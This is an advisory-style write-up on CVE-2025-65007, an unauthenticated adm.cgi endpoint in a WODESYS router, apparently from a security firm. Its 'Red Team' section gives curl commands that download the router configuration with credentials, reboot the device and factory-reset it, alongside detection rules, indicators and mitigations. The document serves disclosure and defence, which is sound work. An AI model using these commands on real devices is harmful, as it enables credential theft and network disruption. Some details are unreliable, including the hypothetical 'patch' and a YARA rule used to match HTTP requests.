CVE-2025-65007

Executive Summary

CVE-2025-65007 is a critical authentication bypass vulnerability in the WODESYS WD-R608U router (also known as WDR122B V2.0 and WDR28). The adm.cgi endpoint lacks authentication, allowing an unauthenticated attacker to execute commands such as backup creation, device restart, and factory reset. The vendor was notified but did not respond, and only version WDR28081123OV1.01 has been confirmed vulnerable. No patch is available, and the vulnerability is publicly known.

This is a hardware/embedded device vulnerability, not related to any package ecosystem (NPM, PyPI, Go, Ruby). The impact is severe: an attacker can fully compromise the router, disrupt network operations, and potentially pivot to internal networks.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – vulnerability affects only the router.
• Confidentiality Impact: High (C:H) – attacker can read backups.
• Integrity Impact: High (I:H) – attacker can modify configuration.
• Availability Impact: High (A:H) – attacker can reset/restart device.

Threat Level: Critical. The vulnerability is trivial to exploit and can lead to full device takeover.

Deep Dive & Mechanics

The vulnerability resides in the adm.cgi endpoint of the WODESYS WD-R608U router. This endpoint is intended for administrative configuration changes but lacks any authentication mechanism. The router’s web server processes requests to adm.cgi without verifying the user’s identity.

Root Cause: The CGI script adm.cgi does not check for session tokens, cookies, or any form of authentication before executing commands. This is a classic case of missing authentication (CWE-306).

Attack Flow:

1. An attacker sends a crafted HTTP request to http://<router-ip>/adm.cgi?action=backup to download the device configuration.
2. Alternatively, action=restart or action=reset can be used to disrupt availability.
3. The router executes the command without any authentication check.

Technical Details:

• The adm.cgi endpoint likely parses the action parameter and maps it to a system command (e.g., system("reboot")).
• No input validation or authentication middleware is present.
• The vulnerability is exposed on the default HTTP port (80) and possibly HTTPS (443).

Vulnerable vs. Patched Code

Since no patch exists, we can only describe the vulnerable code pattern.

Vulnerable Code (pseudo-CGI):

// adm.cgi - VULNERABLE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
    char *query = getenv("QUERY_STRING");
    char action[64];
    // No authentication check
    if (sscanf(query, "action=%63s", action) == 1) {
        if (strcmp(action, "backup") == 0) {
            system("cat /etc/config > /tmp/backup.cfg");
            // Serve backup file
        } else if (strcmp(action, "restart") == 0) {
            system("reboot");
        } else if (strcmp(action, "reset") == 0) {
            system("mtd -r erase rootfs_data");
        }
    }
    return 0;
}

Patched Code (hypothetical):

// adm.cgi - PATCHED
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {
    char *query = getenv("QUERY_STRING");
    char action[64];
    char *auth = getenv("HTTP_AUTHORIZATION");
    // Authentication check
    if (auth == NULL || strcmp(auth, "Bearer <valid_token>") != 0) {
        printf("Status: 401 Unauthorized\n");
        return 1;
    }
    if (sscanf(query, "action=%63s", action) == 1) {
        if (strcmp(action, "backup") == 0) {
            system("cat /etc/config > /tmp/backup.cfg");
        } else if (strcmp(action, "restart") == 0) {
            system("reboot");
        } else if (strcmp(action, "reset") == 0) {
            system("mtd -r erase rootfs_data");
        }
    }
    return 0;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target router with IP 192.168.1.1 (default).
• Attacker machine with curl or wget.

Exploit Steps:

1. Backup Configuration:

   curl "http://192.168.1.1/adm.cgi?action=backup" -o backup.cfg
   

   This downloads the router configuration, which may contain passwords, SSIDs, and VPN keys.

2. Restart Device:

   curl "http://192.168.1.1/adm.cgi?action=restart"
   

   Causes immediate reboot, disrupting network services.

3. Factory Reset:

   curl "http://192.168.1.1/adm.cgi?action=reset"
   

   Resets the device to factory defaults, wiping all custom settings.

Advanced Exploitation:

• Combine with other vulnerabilities (e.g., command injection) to gain a shell.
• Use the backup file to extract credentials and pivot to internal networks.

Blue Team

Detection:

• Monitor HTTP requests to /adm.cgi with unusual action parameters.
• Alert on multiple requests from the same IP within a short time.
• Look for action=backup, action=restart, or action=reset in logs.

Hunting:

• Search for adm.cgi in web server logs.
• Check for sudden device reboots or factory resets.

Mitigation:

• Block external access to the router’s web interface.
• Use a firewall to restrict access to adm.cgi to trusted IPs only.
• Apply vendor patch if/when available.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /adm.cgi with action=backup, action=restart, or action=reset.
  • Source IPs scanning for WODESYS routers (e.g., Shodan dorks).
• File IOCs:
  • Backup files named backup.cfg or similar on attacker systems.
• Behavioral IOCs:
  • Unexpected router reboots.
  • Router reset to factory defaults without user action.
• Log IOCs:
  • Web server logs showing GET /adm.cgi?action=... from unknown IPs.

Detection Engineering

YARA Rule

rule CVE_2025_65007_Backup_Request {
    meta:
        description = "Detects HTTP requests exploiting CVE-2025-65007 for backup"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65007"
    strings:
        $action_backup = "action=backup"
        $adm_cgi = "/adm.cgi"
    condition:
        $adm_cgi and $action_backup
}

Sigma Rule

title: CVE-2025-65007 Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-65007 on WODESYS routers
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/adm.cgi?action="
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-65007 - WODESYS Router adm.cgi Exploit";
    flow:to_server,established;
    content:"/adm.cgi"; http_uri;
    content:"action="; http_uri;
    pcre:"/action=(backup|restart|reset)/i";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Router: Place the router behind a firewall that blocks external access to the web interface.
2. Disable Remote Management: If possible, disable remote administration via the router’s settings.
3. Monitor Logs: Enable logging and monitor for suspicious requests to /adm.cgi.

Long-Term Fix:

• Vendor Patch: No patch available. Contact WODESYS and demand a firmware update.
• Replace Device: Consider replacing the router with a secure alternative.
• Network Segmentation: Place the router in a DMZ and restrict access to internal networks.

Workaround:

• Use a reverse proxy with authentication (e.g., nginx with basic auth) in front of the router’s web interface.
• Block /adm.cgi at the network perimeter using a WAF or firewall rule.

Valters IT
Securing Digital Frontiers